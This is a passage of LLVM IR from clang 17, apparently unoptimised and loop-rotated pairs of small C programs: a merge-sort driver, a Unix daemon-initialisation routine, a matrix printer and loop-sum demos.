declare i32 @write_tagged(ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @fclose(ptr noundef) #1
declare i32 @remove(ptr noundef) #1
declare i64 @rename(ptr noundef, ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind willreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmp85675936.c'
source_filename = "/tmp/tmp85675936.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [44 x i8] c"ERROR: Must provide at least one argument!\0A\00", align 1
@.str.1 = private unnamed_addr constant [28 x i8] c"Done sorting... Result is {\00", align 1
@.str.2 = private unnamed_addr constant [5 x i8] c"%d, \00", align 1
@.str.3 = private unnamed_addr constant [5 x i8] c"\08\08}\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%10 = load i32, ptr %4, align 4
%11 = icmp slt i32 %10, 2
br i1 %11, label %12, label %15
12: ; preds = %2
%13 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%14 = call i32 @exit(i32 noundef 1) #4
unreachable
15: ; preds = %2
%16 = load i32, ptr %4, align 4
%17 = sub nsw i32 %16, 1
%18 = zext i32 %17 to i64
%19 = call ptr @llvm.stacksave()
store ptr %19, ptr %6, align 8
%20 = alloca i32, i64 %18, align 16
store i64 %18, ptr %7, align 8
store i32 1, ptr %8, align 4
br label %21
21: ; preds = %36, %15
%22 = load i32, ptr %8, align 4
%23 = load i32, ptr %4, align 4
%24 = icmp slt i32 %22, %23
br i1 %24, label %25, label %39
25: ; preds = %21
%26 = load ptr, ptr %5, align 8
%27 = load i32, ptr %8, align 4
%28 = sext i32 %27 to i64
%29 = getelementptr inbounds ptr, ptr %26, i64 %28
%30 = load ptr, ptr %29, align 8
%31 = call i32 @atoi(ptr noundef %30)
%32 = load i32, ptr %8, align 4
%33 = sub nsw i32 %32, 1
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i32, ptr %20, i64 %34
store i32 %31, ptr %35, align 4
br label %36
36: ; preds = %25
%37 = load i32, ptr %8, align 4
%38 = add nsw i32 %37, 1
store i32 %38, ptr %8, align 4
br label %21, !llvm.loop !6
39: ; preds = %21
%40 = load i32, ptr %4, align 4
%41 = sub nsw i32 %40, 1
%42 = call i32 @mergeSort(ptr noundef %20, i32 noundef %41)
%43 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
store i32 0, ptr %9, align 4
br label %44
44: ; preds = %55, %39
%45 = load i32, ptr %9, align 4
%46 = load i32, ptr %4, align 4
%47 = sub nsw i32 %46, 1
%48 = icmp slt i32 %45, %47
br i1 %48, label %49, label %58
49: ; preds = %44
%50 = load i32, ptr %9, align 4
%51 = sext i32 %50 to i64
%52 = getelementptr inbounds i32, ptr %20, i64 %51
%53 = load i32, ptr %52, align 4
%54 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %53)
br label %55
55: ; preds = %49
%56 = load i32, ptr %9, align 4
%57 = add nsw i32 %56, 1
store i32 %57, ptr %9, align 4
br label %44, !llvm.loop !8
58: ; preds = %44
%59 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%60 = load ptr, ptr %6, align 8
call void @llvm.stackrestore(ptr %60)
%61 = load i32, ptr %3, align 4
ret i32 %61
}
declare i32 @printf(ptr noundef, ...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #3
declare i32 @atoi(ptr noundef) #1
declare i32 @mergeSort(ptr noundef, i32 noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nocallback nofree nosync nounwind willreturn }
attributes #4 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp85675936.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [44 x i8] c"ERROR: Must provide at least one argument!\0A\00", align 1
@.str.1 = private unnamed_addr constant [28 x i8] c"Done sorting... Result is {\00", align 1
@.str.2 = private unnamed_addr constant [5 x i8] c"%d, \00", align 1
@.str.3 = private unnamed_addr constant [5 x i8] c"\08\08}\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%10 = load i32, ptr %4, align 4
%11 = icmp slt i32 %10, 2
br i1 %11, label %12, label %15
12: ; preds = %2
%13 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%14 = call i32 @exit(i32 noundef 1) #4
unreachable
15: ; preds = %2
%16 = load i32, ptr %4, align 4
%17 = sub nsw i32 %16, 1
%18 = zext i32 %17 to i64
%19 = call ptr @llvm.stacksave()
store ptr %19, ptr %6, align 8
%20 = alloca i32, i64 %18, align 16
store i64 %18, ptr %7, align 8
store i32 1, ptr %8, align 4
%21 = load i32, ptr %8, align 4
%22 = load i32, ptr %4, align 4
%23 = icmp slt i32 %21, %22
br i1 %23, label %.lr.ph, label %41
.lr.ph: ; preds = %15
br label %24
24: ; preds = %.lr.ph, %35
%25 = load ptr, ptr %5, align 8
%26 = load i32, ptr %8, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds ptr, ptr %25, i64 %27
%29 = load ptr, ptr %28, align 8
%30 = call i32 @atoi(ptr noundef %29)
%31 = load i32, ptr %8, align 4
%32 = sub nsw i32 %31, 1
%33 = sext i32 %32 to i64
%34 = getelementptr inbounds i32, ptr %20, i64 %33
store i32 %30, ptr %34, align 4
br label %35
35: ; preds = %24
%36 = load i32, ptr %8, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %8, align 4
%38 = load i32, ptr %8, align 4
%39 = load i32, ptr %4, align 4
%40 = icmp slt i32 %38, %39
br i1 %40, label %24, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %35
br label %41
41: ; preds = %._crit_edge, %15
%42 = load i32, ptr %4, align 4
%43 = sub nsw i32 %42, 1
%44 = call i32 @mergeSort(ptr noundef %20, i32 noundef %43)
%45 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
store i32 0, ptr %9, align 4
%46 = load i32, ptr %9, align 4
%47 = load i32, ptr %4, align 4
%48 = sub nsw i32 %47, 1
%49 = icmp slt i32 %46, %48
br i1 %49, label %.lr.ph2, label %63
.lr.ph2: ; preds = %41
br label %50
50: ; preds = %.lr.ph2, %56
%51 = load i32, ptr %9, align 4
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds i32, ptr %20, i64 %52
%54 = load i32, ptr %53, align 4
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i32 noundef %54)
br label %56
56: ; preds = %50
%57 = load i32, ptr %9, align 4
%58 = add nsw i32 %57, 1
store i32 %58, ptr %9, align 4
%59 = load i32, ptr %9, align 4
%60 = load i32, ptr %4, align 4
%61 = sub nsw i32 %60, 1
%62 = icmp slt i32 %59, %61
br i1 %62, label %50, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %56
br label %63
63: ; preds = %._crit_edge3, %41
%64 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%65 = load ptr, ptr %6, align 8
call void @llvm.stackrestore(ptr %65)
%66 = load i32, ptr %3, align 4
ret i32 %66
}
declare i32 @printf(ptr noundef, ...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #3
declare i32 @atoi(ptr noundef) #1
declare i32 @mergeSort(ptr noundef, i32 noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nocallback nofree nosync nounwind willreturn }
attributes #4 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpdk5b16l0.c'
source_filename = "/tmp/tmpdk5b16l0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@NOFILE = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [5 x i8] c"/tmp\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @init_daemon() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = call i32 (...) @fork()
store i32 %3, ptr %1, align 4
%4 = icmp ne i32 %3, 0
br i1 %4, label %5, label %7
5: ; preds = %0
%6 = call i32 @exit(i32 noundef 0) #3
unreachable
7: ; preds = %0
%8 = load i32, ptr %1, align 4
%9 = icmp slt i32 %8, 0
br i1 %9, label %10, label %12
10: ; preds = %7
%11 = call i32 @exit(i32 noundef 1) #3
unreachable
12: ; preds = %7
br label %13
13: ; preds = %12
%14 = call i32 (...) @setsid()
%15 = call i32 (...) @fork()
store i32 %15, ptr %1, align 4
%16 = icmp ne i32 %15, 0
br i1 %16, label %17, label %19
17: ; preds = %13
%18 = call i32 @exit(i32 noundef 0) #3
unreachable
19: ; preds = %13
%20 = load i32, ptr %1, align 4
%21 = icmp slt i32 %20, 0
br i1 %21, label %22, label %24
22: ; preds = %19
%23 = call i32 @exit(i32 noundef 1) #3
unreachable
24: ; preds = %19
br label %25
25: ; preds = %24
store i32 0, ptr %2, align 4
br label %26
26: ; preds = %33, %25
%27 = load i32, ptr %2, align 4
%28 = load i32, ptr @NOFILE, align 4
%29 = icmp slt i32 %27, %28
br i1 %29, label %30, label %36
30: ; preds = %26
%31 = load i32, ptr %2, align 4
%32 = call i32 @close(i32 noundef %31)
br label %33
33: ; preds = %30
%34 = load i32, ptr %2, align 4
%35 = add nsw i32 %34, 1
store i32 %35, ptr %2, align 4
br label %26, !llvm.loop !6
36: ; preds = %26
%37 = call i32 @chdir(ptr noundef @.str)
%38 = call i32 @umask(i32 noundef 0)
ret void
}
declare i32 @fork(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @setsid(...) #1
declare i32 @close(i32 noundef) #1
declare i32 @chdir(ptr noundef) #1
declare i32 @umask(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpdk5b16l0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@NOFILE = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [5 x i8] c"/tmp\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @init_daemon() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = call i32 (...) @fork()
store i32 %3, ptr %1, align 4
%4 = icmp ne i32 %3, 0
br i1 %4, label %5, label %7
5: ; preds = %0
%6 = call i32 @exit(i32 noundef 0) #3
unreachable
7: ; preds = %0
%8 = load i32, ptr %1, align 4
%9 = icmp slt i32 %8, 0
br i1 %9, label %10, label %12
10: ; preds = %7
%11 = call i32 @exit(i32 noundef 1) #3
unreachable
12: ; preds = %7
br label %13
13: ; preds = %12
%14 = call i32 (...) @setsid()
%15 = call i32 (...) @fork()
store i32 %15, ptr %1, align 4
%16 = icmp ne i32 %15, 0
br i1 %16, label %17, label %19
17: ; preds = %13
%18 = call i32 @exit(i32 noundef 0) #3
unreachable
19: ; preds = %13
%20 = load i32, ptr %1, align 4
%21 = icmp slt i32 %20, 0
br i1 %21, label %22, label %24
22: ; preds = %19
%23 = call i32 @exit(i32 noundef 1) #3
unreachable
24: ; preds = %19
br label %25
25: ; preds = %24
store i32 0, ptr %2, align 4
%26 = load i32, ptr %2, align 4
%27 = load i32, ptr @NOFILE, align 4
%28 = icmp slt i32 %26, %27
br i1 %28, label %.lr.ph, label %38
.lr.ph: ; preds = %25
br label %29
29: ; preds = %.lr.ph, %32
%30 = load i32, ptr %2, align 4
%31 = call i32 @close(i32 noundef %30)
br label %32
32: ; preds = %29
%33 = load i32, ptr %2, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %2, align 4
%35 = load i32, ptr %2, align 4
%36 = load i32, ptr @NOFILE, align 4
%37 = icmp slt i32 %35, %36
br i1 %37, label %29, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %32
br label %38
38: ; preds = %._crit_edge, %25
%39 = call i32 @chdir(ptr noundef @.str)
%40 = call i32 @umask(i32 noundef 0)
ret void
}
declare i32 @fork(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @setsid(...) #1
declare i32 @close(i32 noundef) #1
declare i32 @chdir(ptr noundef) #1
declare i32 @umask(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpvcpb1bbe.c'
source_filename = "/tmp/tmpvcpb1bbe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvcpb1bbe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp7ff2v07x.c'
source_filename = "/tmp/tmp7ff2v07x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"%3d,\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @print_matrix(ptr noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store i32 %2, ptr %6, align 4
store i32 0, ptr %7, align 4
br label %9
9: ; preds = %34, %3
%10 = load i32, ptr %7, align 4
%11 = load i32, ptr %6, align 4
%12 = icmp slt i32 %10, %11
br i1 %12, label %13, label %37
13: ; preds = %9
store i32 0, ptr %8, align 4
br label %14
14: ; preds = %29, %13
%15 = load i32, ptr %8, align 4
%16 = load i32, ptr %5, align 4
%17 = icmp slt i32 %15, %16
br i1 %17, label %18, label %32
18: ; preds = %14
%19 = load ptr, ptr %4, align 8
%20 = load i32, ptr %7, align 4
%21 = sext i32 %20 to i64
%22 = getelementptr inbounds ptr, ptr %19, i64 %21
%23 = load ptr, ptr %22, align 8
%24 = load i32, ptr %8, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i32, ptr %23, i64 %25
%27 = load i32, ptr %26, align 4
%28 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %27)
br label %29
29: ; preds = %18
%30 = load i32, ptr %8, align 4
%31 = add nsw i32 %30, 1
store i32 %31, ptr %8, align 4
br label %14, !llvm.loop !6
32: ; preds = %14
%33 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
br label %34
34: ; preds = %32
%35 = load i32, ptr %7, align 4
%36 = add nsw i32 %35, 1
store i32 %36, ptr %7, align 4
br label %9, !llvm.loop !8
37: ; preds = %9
%38 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
ret void
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp7ff2v07x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [5 x i8] c"%3d,\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @print_matrix(ptr noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store i32 %2, ptr %6, align 4
store i32 0, ptr %7, align 4
%9 = load i32, ptr %7, align 4
%10 = load i32, ptr %6, align 4
%11 = icmp slt i32 %9, %10
br i1 %11, label %.lr.ph2, label %41
.lr.ph2: ; preds = %3
br label %12
12: ; preds = %.lr.ph2, %35
store i32 0, ptr %8, align 4
%13 = load i32, ptr %8, align 4
%14 = load i32, ptr %5, align 4
%15 = icmp slt i32 %13, %14
br i1 %15, label %.lr.ph, label %33
.lr.ph: ; preds = %12
br label %16
16: ; preds = %.lr.ph, %27
%17 = load ptr, ptr %4, align 8
%18 = load i32, ptr %7, align 4
%19 = sext i32 %18 to i64
%20 = getelementptr inbounds ptr, ptr %17, i64 %19
%21 = load ptr, ptr %20, align 8
%22 = load i32, ptr %8, align 4
%23 = sext i32 %22 to i64
%24 = getelementptr inbounds i32, ptr %21, i64 %23
%25 = load i32, ptr %24, align 4
%26 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %25)
br label %27
27: ; preds = %16
%28 = load i32, ptr %8, align 4
%29 = add nsw i32 %28, 1
store i32 %29, ptr %8, align 4
%30 = load i32, ptr %8, align 4
%31 = load i32, ptr %5, align 4
%32 = icmp slt i32 %30, %31
br i1 %32, label %16, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %27
br label %33
33: ; preds = %._crit_edge, %12
%34 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
br label %35
35: ; preds = %33
%36 = load i32, ptr %7, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %7, align 4
%38 = load i32, ptr %7, align 4
%39 = load i32, ptr %6, align 4
%40 = icmp slt i32 %38, %39
br i1 %40, label %12, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %35
br label %41
41: ; preds = %._crit_edge3, %3
%42 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
ret void
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmprsgbsrq9.c'
source_filename = "/tmp/tmprsgbsrq9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"n is %i sum is %i \0A\00", align 1
@.str.1 = private unnamed_addr constant [25 x i8] c"WHILE LOOP:sum is %i \0A\0A\0A\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"DO LOOP:sum is %i \0A\0A\0A\00", align 1
@.str.3 = private unnamed_addr constant [22 x i8] c"FOR LOOP:sum is %i \0A\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %2, align 4
store i32 -5, ptr %3, align 4
br label %4
4: ; preds = %7, %0
%5 = load i32, ptr %3, align 4
%6 = icmp sle i32 %5, 5
br i1 %6, label %7, label %16
7: ; preds = %4
%8 = load i32, ptr %2, align 4
%9 = load i32, ptr %3, align 4
%10 = add nsw i32 %8, %9
store i32 %10, ptr %2, align 4
%11 = load i32, ptr %3, align 4
%12 = add nsw i32 %11, 1
store i32 %12, ptr %3, align 4
%13 = load i32, ptr %3, align 4
%14 = load i32, ptr %2, align 4
%15 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str, i32 noundef %13, i32 noundef %14)
br label %4, !llvm.loop !6
16: ; preds = %4
%17 = load i32, ptr %2, align 4
%18 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.1, i32 noundef %17)
store i32 0, ptr %2, align 4
store i32 -5, ptr %3, align 4
br label %19
19: ; preds = %28, %16
%20 = load i32, ptr %2, align 4
%21 = load i32, ptr %3, align 4
%22 = add nsw i32 %20, %21
store i32 %22, ptr %2, align 4
%23 = load i32, ptr %3, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %3, align 4
%25 = load i32, ptr %3, align 4
%26 = load i32, ptr %2, align 4
%27 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str, i32 noundef %25, i32 noundef %26)
br label %28
28: ; preds = %19
%29 = load i32, ptr %3, align 4
%30 = icmp sle i32 %29, 5
